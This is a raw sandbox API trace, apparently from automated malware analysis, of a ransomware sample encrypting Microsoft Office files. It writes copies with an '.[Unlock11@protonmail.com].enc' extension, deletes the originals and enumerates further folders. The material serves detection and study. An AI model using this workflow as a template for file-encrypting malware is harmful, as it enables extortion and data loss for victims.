dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.893] GetFileType (hFile=0x39c) returned 0x1 [0134.893] GetFileType (hFile=0x39c) returned 0x1 [0134.893] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.893] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.893] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.893] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.894] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.894] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.894] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.894] GetLastError () returned 0x0 [0134.894] GetCurrentThreadId () returned 0x9b0 [0134.894] GetLastError () returned 0x0 [0134.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64f8 | out: hHeap=0x2ad0000) returned 1 [0134.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0134.894] GetLastError () returned 0x0 [0134.894] GetLastError () returned 0x0 [0134.894] GetLastError () returned 0x0 [0134.894] GetLastError () returned 0x0 [0134.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0134.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64a8 [0134.895] GetLastError () returned 0x0 [0134.895] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.895] GetFileType (hFile=0x3ac) returned 0x1 [0134.895] GetLastError () returned 0x0 [0134.895] GetCurrentThreadId () returned 0x9b0 [0134.896] GetLastError () returned 0x0 [0134.896] GetFileType (hFile=0x3ac) returned 0x1 [0134.896] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.896] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.896] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.896] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.896] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.897] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.897] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.897] GetLastError () returned 0x0 [0134.897] GetCurrentThreadId () returned 0x9b0 [0134.897] GetLastError () returned 0x0 [0134.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64a8 | out: hHeap=0x2ad0000) returned 1 [0134.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.898] GetLastError () returned 0x0 [0134.898] GetLastError () returned 0x0 [0134.898] GetCurrentThreadId () returned 0x9b0 [0134.898] GetLastError () returned 0x0 [0134.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.898] GetLastError () returned 0x0 [0134.898] GetLastError () returned 0x0 [0134.898] GetCurrentThreadId () returned 0x9b0 [0134.898] GetLastError () returned 0x0 [0134.898] GetLastError () returned 0x0 [0134.900] GetLastError () returned 0x0 [0134.900] GetCurrentThreadId () returned 0x9b0 [0134.900] GetLastError () returned 0x0 [0134.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63f8 | out: hHeap=0x2ad0000) returned 1 [0134.900] GetCurrentThreadId () returned 0x9b0 [0134.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2688) returned 0x36fabd8 [0134.900] GetLastError () returned 0x0 [0134.901] GetLastError () returned 0x0 [0134.901] GetLastError () returned 0x0 [0134.901] GetLastError () returned 0x0 [0134.901] GetCurrentThreadId () returned 0x9b0 [0134.901] GetLastError () returned 0x0 [0134.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fabd8 | out: hHeap=0x2ad0000) returned 1 [0134.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0134.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0134.901] GetLastError () returned 0x0 [0134.902] GetLastError () returned 0x0 [0134.902] GetCurrentThreadId () returned 0x9b0 [0134.903] GetLastError () returned 0x0 [0134.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fd268 | out: hHeap=0x2ad0000) returned 1 [0134.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fabd8 [0134.903] GetLastError () returned 0x0 [0134.903] GetLastError () returned 0x0 [0134.903] GetCurrentThreadId () returned 0x9b0 [0134.903] GetLastError () returned 0x0 [0134.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fabd8 | out: hHeap=0x2ad0000) returned 1 [0134.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.903] GetLastError () returned 0x0 [0134.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.904] CloseHandle (hObject=0x3ac) returned 1 [0134.904] GetLastError () returned 0x0 [0134.904] GetCurrentThreadId () returned 0x9b0 [0134.904] GetLastError () returned 0x0 [0134.904] GetLastError () returned 0x0 [0134.904] CloseHandle (hObject=0x39c) returned 1 [0134.904] GetLastError () returned 0x0 [0134.904] GetCurrentThreadId () returned 0x9b0 [0134.905] GetLastError () returned 0x0 [0134.905] GetLastError () returned 0x0 [0134.905] GetLastError () returned 0x0 [0134.905] GetLastError () returned 0x0 [0134.905] GetLastError () returned 0x0 [0134.905] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0134.906] GetLastError () returned 0x0 [0134.906] GetCurrentThreadId () returned 0x9b0 [0134.906] GetLastError () returned 0x0 [0134.906] GetCurrentThreadId () returned 0x9b0 [0134.906] GetLastError () returned 0x0 [0134.906] GetLastError () returned 0x0 [0134.907] GetLastError () returned 0x0 [0134.907] GetLastError () returned 0x0 [0134.907] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", lpFilePart=0x9bada4*="AuthoredExtensions.xml") returned 0x49 [0134.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0134.907] GetCurrentThreadId () returned 0x9b0 [0134.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0134.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30281c0 [0134.907] GetLastError () returned 0x0 [0134.907] GetLastError () returned 0x0 [0134.908] GetLastError () returned 0x0 [0134.908] GetLastError () returned 0x0 [0134.908] GetCurrentThreadId () returned 0x9b0 [0134.908] GetLastError () returned 0x0 [0134.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281c0 | out: hHeap=0x2ad0000) returned 1 [0134.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30281c0 [0134.908] GetCurrentThreadId () returned 0x9b0 [0134.908] GetLastError () returned 0x0 [0134.908] GetLastError () returned 0x0 [0134.908] GetLastError () returned 0x0 [0134.909] GetLastError () returned 0x0 [0134.909] GetCurrentThreadId () returned 0x9b0 [0134.909] GetLastError () returned 0x0 [0134.909] GetLastError () returned 0x0 [0134.909] GetLastError () returned 0x0 [0134.909] GetLastError () returned 0x0 [0134.909] GetLastError () returned 0x0 [0134.909] GetCurrentThreadId () returned 0x9b0 [0134.909] GetLastError () returned 0x0 [0134.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281c0 | out: hHeap=0x2ad0000) returned 1 [0134.909] GetLastError () returned 0x0 [0134.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0134.910] GetLastError () returned 0x0 [0134.910] GetLastError () returned 0x0 [0134.910] GetLastError () returned 0x0 [0134.910] GetCurrentThreadId () returned 0x9b0 [0134.910] GetLastError () returned 0x0 [0134.910] GetLastError () returned 0x0 [0134.910] GetLastError () returned 0x0 [0134.910] GetLastError () returned 0x0 [0134.910] GetLastError () returned 0x0 [0134.910] GetCurrentThreadId () returned 0x9b0 [0134.911] GetLastError () returned 0x0 [0134.911] GetCurrentThreadId () returned 0x9b0 [0134.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0134.911] GetLastError () returned 0x0 [0134.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0134.911] GetLastError () returned 0x0 [0134.911] GetLastError () returned 0x0 [0134.911] GetLastError () returned 0x0 [0134.911] GetCurrentThreadId () returned 0x9b0 [0134.911] GetLastError () returned 0x0 [0134.911] GetLastError () returned 0x0 [0134.912] GetLastError () returned 0x0 [0134.912] GetLastError () returned 0x0 [0134.912] GetLastError () returned 0x0 [0134.912] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175)) returned 1 [0134.912] GetLastError () returned 0x0 [0134.912] GetCurrentThreadId () returned 0x9b0 [0134.912] GetLastError () returned 0x0 [0134.912] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b174 | out: pbBuffer=0x366b174) returned 1 [0134.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0134.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0134.913] GetCurrentThreadId () returned 0x9b0 [0134.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30281c0 [0134.913] GetCurrentThreadId () returned 0x9b0 [0134.913] GetLastError () returned 0x0 [0134.913] GetCurrentThreadId () returned 0x9b0 [0134.913] GetCurrentThreadId () returned 0x9b0 [0134.913] GetLastError () returned 0x0 [0134.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.914] GetFileType (hFile=0x39c) returned 0x1 [0134.914] GetCurrentThreadId () returned 0x9b0 [0134.914] GetLastError () returned 0x0 [0134.914] GetFileType (hFile=0x39c) returned 0x1 [0134.914] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.914] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.914] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.914] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.914] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.914] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.914] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.914] GetLastError () returned 0x0 [0134.915] GetCurrentThreadId () returned 0x9b0 [0134.915] GetLastError () returned 0x0 [0134.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63c8 | out: hHeap=0x2ad0000) returned 1 [0134.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0134.915] GetLastError () returned 0x0 [0134.915] GetLastError () returned 0x0 [0134.915] GetLastError () returned 0x0 [0134.915] GetLastError () returned 0x0 [0134.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6418 [0134.915] GetLastError () returned 0x0 [0134.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.916] GetFileType (hFile=0x3ac) returned 0x1 [0134.916] GetLastError () returned 0x0 [0134.916] GetCurrentThreadId () returned 0x9b0 [0134.916] GetLastError () returned 0x0 [0134.916] GetFileType (hFile=0x3ac) returned 0x1 [0134.916] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.916] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.917] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.917] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.917] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.917] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.917] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.917] GetLastError () returned 0x0 [0134.917] GetCurrentThreadId () returned 0x9b0 [0134.917] GetLastError () returned 0x0 [0134.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6418 | out: hHeap=0x2ad0000) returned 1 [0134.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0134.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0134.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0134.918] GetLastError () returned 0x0 [0134.918] GetLastError () returned 0x0 [0134.918] GetCurrentThreadId () returned 0x9b0 [0134.918] GetLastError () returned 0x0 [0134.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.918] GetLastError () returned 0x0 [0134.918] GetLastError () returned 0x0 [0134.918] GetCurrentThreadId () returned 0x9b0 [0134.918] GetLastError () returned 0x0 [0134.918] GetLastError () returned 0x0 [0134.919] GetLastError () returned 0x0 [0134.919] GetCurrentThreadId () returned 0x9b0 [0134.919] GetLastError () returned 0x0 [0134.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6498 | out: hHeap=0x2ad0000) returned 1 [0134.920] GetCurrentThreadId () returned 0x9b0 [0134.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x198) returned 0x35bb5a0 [0134.920] GetLastError () returned 0x0 [0134.920] GetLastError () returned 0x0 [0134.920] GetLastError () returned 0x0 [0134.920] GetLastError () returned 0x0 [0134.920] GetCurrentThreadId () returned 0x9b0 [0134.920] GetLastError () returned 0x0 [0134.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bb5a0 | out: hHeap=0x2ad0000) returned 1 [0134.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0134.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.921] GetLastError () returned 0x0 [0134.921] GetLastError () returned 0x0 [0134.921] GetCurrentThreadId () returned 0x9b0 [0134.921] GetLastError () returned 0x0 [0134.921] GetLastError () returned 0x0 [0134.921] GetLastError () returned 0x0 [0134.921] GetCurrentThreadId () returned 0x9b0 [0134.921] GetLastError () returned 0x0 [0134.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f86e8 | out: hHeap=0x2ad0000) returned 1 [0134.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.922] GetLastError () returned 0x0 [0134.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0134.923] CloseHandle (hObject=0x3ac) returned 1 [0134.923] GetLastError () returned 0x0 [0134.923] GetCurrentThreadId () returned 0x9b0 [0134.923] GetLastError () returned 0x0 [0134.923] GetLastError () returned 0x0 [0134.923] CloseHandle (hObject=0x39c) returned 1 [0134.923] GetLastError () returned 0x0 [0134.923] GetCurrentThreadId () returned 0x9b0 [0134.923] GetLastError () returned 0x0 [0134.924] GetLastError () returned 0x0 [0134.924] GetLastError () returned 0x0 [0134.924] GetLastError () returned 0x0 [0134.924] GetLastError () returned 0x0 [0134.924] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0134.925] GetLastError () returned 0x0 [0134.925] GetCurrentThreadId () returned 0x9b0 [0134.925] GetLastError () returned 0x0 [0134.925] GetCurrentThreadId () returned 0x9b0 [0134.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325eff0 | out: hHeap=0x2ad0000) returned 1 [0134.925] GetLastError () returned 0x0 [0134.925] GetLastError () returned 0x0 [0134.925] GetLastError () returned 0x0 [0134.926] GetLastError () returned 0x0 [0134.926] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0134.926] GetLastError () returned 0x0 [0134.926] GetCurrentThreadId () returned 0x9b0 [0134.926] GetLastError () returned 0x0 [0134.926] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0134.926] GetLastError () returned 0x0 [0134.926] GetCurrentThreadId () returned 0x9b0 [0134.926] GetLastError () returned 0x0 [0134.927] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="client", cAlternateFileName="")) returned 1 [0134.927] GetLastError () returned 0x0 [0134.927] GetCurrentThreadId () returned 0x9b0 [0134.927] GetLastError () returned 0x0 [0134.927] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0134.927] GetLastError () returned 0x0 [0134.927] GetCurrentThreadId () returned 0x9b0 [0134.927] GetLastError () returned 0x0 [0134.928] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0134.928] GetLastError () returned 0x0 [0134.928] GetCurrentThreadId () returned 0x9b0 [0134.928] GetLastError () returned 0x0 [0134.928] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0134.928] GetLastError () returned 0x0 [0134.928] GetCurrentThreadId () returned 0x9b0 [0134.928] GetLastError () returned 0x0 [0134.928] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="fre", cAlternateFileName="")) returned 1 [0134.928] GetLastError () returned 0x0 [0134.928] GetCurrentThreadId () returned 0x9b0 [0134.928] GetLastError () returned 0x0 [0134.929] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0134.929] GetLastError () returned 0x0 [0134.929] GetCurrentThreadId () returned 0x9b0 [0134.929] GetLastError () returned 0x0 [0134.929] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0134.929] GetLastError () returned 0x0 [0134.929] GetCurrentThreadId () returned 0x9b0 [0134.929] GetLastError () returned 0x0 [0134.929] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="loc", cAlternateFileName="")) returned 1 [0134.929] GetLastError () returned 0x0 [0134.929] 